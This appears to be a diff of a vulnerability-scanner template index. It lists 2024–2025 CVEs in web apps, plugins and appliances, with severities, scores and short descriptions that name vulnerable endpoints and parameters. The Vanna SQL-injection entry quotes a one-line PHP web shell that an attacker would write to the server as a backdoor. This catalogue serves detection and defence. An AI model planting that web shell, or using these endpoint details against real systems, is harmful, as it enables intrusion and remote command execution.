+{"ID":"CVE-2024-36675","Info":{"Name":"LyLme spage v1.9.5 - Server-Side Request Forgery","Severity":"high","Description":"LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36675.yaml"}
 {"ID":"CVE-2024-36683","Info":{"Name":"PrestaShop productsalert - SQL Injection","Severity":"critical","Description":"In the module 'Products Alert' (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36683.yaml"}
 {"ID":"CVE-2024-3673","Info":{"Name":"Web Directory Free \u003c 1.7.3 - Local File Inclusion","Severity":"critical","Description":"The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-3673.yaml"}
 {"ID":"CVE-2024-36837","Info":{"Name":"CRMEB v.5.2.2 - SQL Injection","Severity":"high","Description":"SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36837.yaml"}
@@ -2824,6 +2833,7 @@
 {"ID":"CVE-2024-41955","Info":{"Name":"Open Redirect in Login Redirect - MobSF","Severity":"medium","Description":"Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.\n","Classification":{"CVSSScore":"5.2"}},"file_path":"http/cves/2024/CVE-2024-41955.yaml"}
 {"ID":"CVE-2024-4257","Info":{"Name":"BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-4257.yaml"}
 {"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
+{"ID":"CVE-2024-42852","Info":{"Name":"AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting","Severity":"medium","Description":"AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-42852.yaml"}
 {"ID":"CVE-2024-4295","Info":{"Name":"Email Subscribers by Icegram Express \u003c= 5.7.20 - Unauthenticated SQL Injection via Hash","Severity":"critical","Description":"Email Subscribers by Icegram Express \u003c= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-4295.yaml"}
 {"ID":"CVE-2024-43160","Info":{"Name":"BerqWP \u003c= 1.7.6 - Arbitrary File Upload","Severity":"critical","Description":"The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-43160.yaml"}
 {"ID":"CVE-2024-4325","Info":{"Name":"Gradio - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-4325.yaml"}
@@ -2875,7 +2885,9 @@
 {"ID":"CVE-2024-4940","Info":{"Name":"Gradio - Open Redirect","Severity":"medium","Description":"An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-4940.yaml"}
 {"ID":"CVE-2024-4956","Info":{"Name":"Sonatype Nexus Repository Manager 3 - Local File Inclusion","Severity":"high","Description":"Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-4956.yaml"}
 {"ID":"CVE-2024-49757","Info":{"Name":"Zitadel - User Registration Bypass","Severity":"high","Description":"The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-49757.yaml"}
+{"ID":"CVE-2024-50334","Info":{"Name":"Scoold \u003c 1.64.0 - Authentication Bypass","Severity":"medium","Description":"Scoold is a Q\u0026A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-50334.yaml"}
 {"ID":"CVE-2024-50340","Info":{"Name":"Symfony Profiler - Remote Access via Injected Arguments","Severity":"high","Description":"symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-50340.yaml"}
+{"ID":"CVE-2024-50477","Info":{"Name":"WordPress Stacks Mobile App Builder \u003c=5.2.3 - Authentication Bypass","Severity":"critical","Description":"Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50477.yaml"}
 {"ID":"CVE-2024-50498","Info":{"Name":"WP Query Console \u003c= 1.0 - Remote Code Execution","Severity":"critical","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50498.yaml"}
 {"ID":"CVE-2024-50603","Info":{"Name":"Aviatrix Controller - Remote Code Execution","Severity":"critical","Description":"An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-50603.yaml"}
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
@@ -2890,7 +2902,7 @@
 {"ID":"CVE-2024-51567","Info":{"Name":"CyberPanel v2.3.6 Pre-Auth Remote Code Execution","Severity":"critical","Description":"upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-51567.yaml"}
 {"ID":"CVE-2024-51739","Info":{"Name":"iTop - User Enumeration via REST Endpoint","Severity":"medium","Description":"From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-51739.yaml"}
 {"ID":"CVE-2024-51977","Info":{"Name":"Brother MFC-L9570CDW - Information Disclosure","Severity":"medium","Description":"An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51977.yaml"}
-{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.\nThe target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
+{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
 {"ID":"CVE-2024-5217","Info":{"Name":"ServiceNow - Incomplete Input Validation","Severity":"critical","Description":"ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5217.yaml"}
 {"ID":"CVE-2024-5230","Info":{"Name":"FleetCart 4.1.1 - Information Disclosure","Severity":"medium","Description":"Issues with information disclosure in redirect responses. Accessing the majority of the website's pages exposes sensitive data, including the \"Razorpay\" \"razorpayKeyId\".\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-5230.yaml"}
 {"ID":"CVE-2024-52433","Info":{"Name":"My Geo Posts Free \u003c= 1.2 - PHP Object Injection","Severity":"critical","Description":"The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-52433.yaml"}
@@ -2929,6 +2941,7 @@
 {"ID":"CVE-2024-57514","Info":{"Name":"TP-Link Archer A20 v3 Router - Cross-site Scripting","Severity":"medium","Description":"The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-57514.yaml"}
 {"ID":"CVE-2024-5765","Info":{"Name":"WpStickyBar \u003c= 2.1.0 - SQL Injection","Severity":"high","Description":"The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5765.yaml"}
 {"ID":"CVE-2024-57727","Info":{"Name":"SimpleHelp \u003c= 5.5.7 - Unauthenticated Path Traversal","Severity":"high","Description":"SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-57727.yaml"}
+{"ID":"CVE-2024-58136","Info":{"Name":"Yii2 PHP Framework \u003c 2.0.52 - Remote Code Execution","Severity":"critical","Description":"Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-58136.yaml"}
 {"ID":"CVE-2024-5827","Info":{"Name":"Vanna - SQL injection","Severity":"critical","Description":"Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `\u003c?php system($_GET[0]); ?\u003e`. This can lead to command execution or the creation of backdoors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5827.yaml"}
 {"ID":"CVE-2024-5910","Info":{"Name":"Palo Alto Expedition - Admin Account Takeover","Severity":"critical","Description":"Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-5910.yaml"}
 {"ID":"CVE-2024-5932","Info":{"Name":"GiveWP - PHP Object Injection","Severity":"critical","Description":"The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5932.yaml"}
@@ -3001,6 +3014,7 @@
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
 {"ID":"CVE-2024-8883","Info":{"Name":"Keycloak - Open Redirect","Severity":"medium","Description":"A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-8883.yaml"}
 {"ID":"CVE-2024-8963","Info":{"Name":"Ivanti Cloud Services Appliance - Path Traversal","Severity":"critical","Description":"Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-8963.yaml"}
+{"ID":"CVE-2024-9007","Info":{"Name":"123Solar 1.8.4.5 - Cross-Site Scripting","Severity":"medium","Description":"123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-9007.yaml"}
 {"ID":"CVE-2024-9014","Info":{"Name":"pgAdmin 4 - Authentication Bypass","Severity":"critical","Description":"pgAdmin 4 versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. This vulnerability allows an attacker to potentially obtain the client ID and secret, leading to unauthorized access to user data.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9014.yaml"}
 {"ID":"CVE-2024-9047","Info":{"Name":"WordPress File Upload \u003c= 4.24.11 - Arbitrary File Read","Severity":"critical","Description":"The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9047.yaml"}
 {"ID":"CVE-2024-9061","Info":{"Name":"WP Popup Builder Popup Forms and Marketing Lead Generation \u003c= 1.3.5 - Arbitrary Shortcode Execution","Severity":"high","Description":"The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-9061.yaml"}
@@ -3011,7 +3025,6 @@
 {"ID":"CVE-2024-9463","Info":{"Name":"PaloAlto Networks Expedition - Remote Code Execution","Severity":"critical","Description":"An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9463.yaml"}
 {"ID":"CVE-2024-9465","Info":{"Name":"Palo Alto Expedition - SQL Injection","Severity":"high","Description":"An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-9465.yaml"}
 {"ID":"CVE-2024-9474","Info":{"Name":"PAN-OS Management Web Interface - Command Injection","Severity":"high","Description":"A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.\nCloud NGFW and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-9474.yaml"}
-{"ID":"CVE-2024-9487","Info":{"Name":"GitHub Enterprise - SAML Authentication Bypass","Severity":"critical","Description":"An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-9487.yaml"}
 {"ID":"CVE-2024-9593","Info":{"Name":"Time Clock \u003c= 1.2.2 \u0026 Time Clock Pro \u003c= 1.1.4 - Remote Code Execution","Severity":"high","Description":"The Time Clock plugin and Time Clock Pro plugin for WordPress are vulnerable to Remote Code Execution in versions up to, and including, 1.2.2 (for Time Clock) and 1.1.4 (for Time Clock Pro) via the 'etimeclockwp_load_function_callback' function. This allows unauthenticated attackers to execute code on the server. The invoked function's parameters cannot be specified.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-9593.yaml"}
 {"ID":"CVE-2024-9617","Info":{"Name":"Danswer - Insecure Direct Object Reference","Severity":"medium","Description":"The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-9617.yaml"}
 {"ID":"CVE-2024-9707","Info":{"Name":"Hunk Companion \u003c= 1.8.4 - Arbitrary Plugin Installation","Severity":"critical","Description":"The Hunk Companion plugin for WordPress is vulnerable to unauthorized plugin installation/activation due to a missing capability check on the /wp-json/hc/v1/themehunk-import REST API endpoint in all versions up to, and including, 1.8.4. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9707.yaml"}
@@ -3032,6 +3045,7 @@
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
 {"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
 {"ID":"CVE-2025-1974","Info":{"Name":"Ingress-Nginx Controller - Remote Code Execution","Severity":"critical","Description":"A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1974.yaml"}
+{"ID":"CVE-2025-2010","Info":{"Name":"WordPress JobWP Plugin \u003c= 2.3.9 - SQL Injection","Severity":"critical","Description":"The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2010.yaml"}
 {"ID":"CVE-2025-2011","Info":{"Name":"Slider \u0026 Popup Builder by Depicter \u003c= 3.6.1 - Unauthenticated SQL Injection","Severity":"high","Description":"The Slider \u0026 Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2011.yaml"}
 {"ID":"CVE-2025-20188","Info":{"Name":"Cisco IOS XE WLC - Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20188.yaml"}
 {"ID":"CVE-2025-2075","Info":{"Name":"Uncanny Automator \u003c= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation","Severity":"high","Description":"The Uncanny Automator - Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-2075.yaml"}
@@ -3054,10 +3068,15 @@
 {"ID":"CVE-2025-2636","Info":{"Name":"InstaWP Connect \u003c 0.1.0.86 - Local PHP File Inclusion","Severity":"high","Description":"The InstaWP Connect - 1-click WP Staging \u0026 Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2636.yaml"}
 {"ID":"CVE-2025-26793","Info":{"Name":"FREEDOM Administration - Default Login","Severity":"critical","Description":"The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the \"vulnerable systems are not following manufacturers' recommendations to change the default password.\"\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-26793.yaml"}
 {"ID":"CVE-2025-27007","Info":{"Name":"OttoKit \u003c 1.0.83 - SureTriggers allows Privilege Escalation","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-27007.yaml"}
+{"ID":"CVE-2025-2709","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2709.yaml"}
+{"ID":"CVE-2025-2710","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2710.yaml"}
+{"ID":"CVE-2025-2711","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2711.yaml"}
